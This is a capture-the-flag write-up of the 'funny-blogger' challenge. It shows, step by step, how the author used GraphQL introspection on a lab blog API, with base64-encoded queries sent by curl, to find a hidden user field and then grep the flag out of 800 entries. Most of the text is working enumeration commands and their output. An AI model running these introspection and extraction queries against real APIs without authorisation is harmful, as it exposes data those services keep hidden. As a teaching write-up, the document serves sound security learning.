This post is a writeup of 'funny-blogger' challenge from Cyberedu Warm-up CTF #1
Once you access the challenge web page, you can find a jQuery script to fetch blog posts.
var arr = document.URL.match(/article=([0-9]+)/)
var article = arr[1];
if (article >= 0) {
console.log(article);
var request = $.ajax({
method: "POST",
dataType: "json",
url: "/query",
contentType: "application/x-www-form-urlencoded",
data: "query=eyJxdWVyeSI6IntcbiAgICAgICAgICAgICAgICBhbGxQb3N0c3tcbiAgICAgICAgICAgICAgICAgICAgZWRnZXN7XG4gICAgICAgICAgICAgICAgICAgIG5vZGV7XG4gICAgICAgICAgICAgICAgICAgICAgICB0aXRsZVxuICAgICAgICAgICAgICAgICAgICBib2R5XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgIn0=",
success: function(response) {
document.getElementById("title").innerHTML = response.data.allPosts.edges[article].node.title;
document.getElementById("content").innerHTML = response.data.allPosts.edges[article].node.body;
}
})
When you decode the data part of POST request, and remove all unnecessary noises (whitespaces, newlines..), you'll get this query.
{"query":"{allPosts{edges{node{title\nbody}}}}"}
Further analysis of the HTTP traffic between the browser and the server shows that this request fetches all the blog post via query
end point and then show only the post that the article parameter is pointing, like /article=1
. #classicGraphQL
And here is the curl
request to get all posts (or node
s).
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle3RpdGxlXG5ib2R5fX19fSJ9' | jq '.data.allPosts.edges[0:2]'
[
{
"node": {
"title": "Day #0 of happines!",
"body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
}
},
{
"node": {
"title": "Day #1 of happines!",
"body": "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum."
}
}
]
There are 800 posts (article=0
through article=799
) with the same format for title
s and the same contents for body
s and there is obviously no sign of flag from a normal request.
I jumped to check the Introspection of GraphQL query [1][2], because why not, with a hope of there being something in node
object other than title
and body
which "hopefully" will give me the flag. And here are the steps that I took toward the flag.
Step 1. Checking all type
s from __schema
gives a name to check PostObject
{"query":"{__schema{types{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6IntfX3NjaGVtYXt0eXBlc3tuYW1lfX19In0='
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"Node"},{"name":"ID"},{"name":"PostObjectConnection"},{"name":"PageInfo"},{"name":"Boolean"},{"name":"String"},{"name":"PostObjectEdge"},{"name":"PostObject"},{"name":"Int"},{"name":"UserObject"},{"name":"UserObjectConnection"},{"name":"UserObjectEdge"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}
Step 2. Checking all fields
s from PostObject
type gives a list of filed
names.
{"query":"{__type(name:\"PostObject\"){name\nfields{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlBvc3RPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='
{"data":{"__type":{"name":"PostObject","fields":[{"name":"id"},{"name":"title"},{"name":"body"},{"name":"authorId"},{"name":"author"}]}}}
Step 3. id
and authorID
do not dive anything special as title
and body
did. But I found that author
is another type, UserObject
, which looks interesting, again because why not.
Step 4. Checking all fields
s from UserObject
type gives an interesting field called randomStr1ngtoInduc3P4in
{"query":"{__type(name:\"UserObject\"){name\nfields{name}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'eyJxdWVyeSI6IntfX3R5cGUobmFtZTpcIlVzZXJPYmplY3RcIil7bmFtZVxuZmllbGRze25hbWV9fX0ifQ=='
{"data":{"__type":{"name":"UserObject","fields":[{"name":"id"},{"name":"name"},{"name":"email"},{"name":"randomStr1ngtoInduc3P4in"},{"name":"posts"}]}}}
Step 5. randomStr1ngtoInduc3P4in
gives strings of flag format but not quite a flag we want. And it looks like we need to find a right one out of 800.
{"query":"{allPosts{edges{node{author{randomStr1ngtoInduc3P4in}}}}}"}
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges[0:2]'
[
{
"node": {
"author": {
"randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
}
}
},
{
"node": {
"author": {
"randomStr1ngtoInduc3P4in": "ECSC{Nope! Try harder! Nope! Try harder! Nope! Try harder! Nope! Try h}"
}
}
}
]
Step 6. Found the flag with grep
$ curl -s 'http://x.x.x.x:31325/query' --data-raw 'query=eyJxdWVyeSI6InthbGxQb3N0c3tlZGdlc3tub2Rle2F1dGhvcntyYW5kb21TdHIxbmd0b0luZHVjM1A0aW59fX19fSJ9' | jq '.data.allPosts.edges' | grep -E -o 'ECSC{.*}' | grep -v 'harder'
ECSC{b8e9be2eb35748a0aa...}
[1] https://graphql.org/learn/introspection/
[2] https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/
Top comments (0)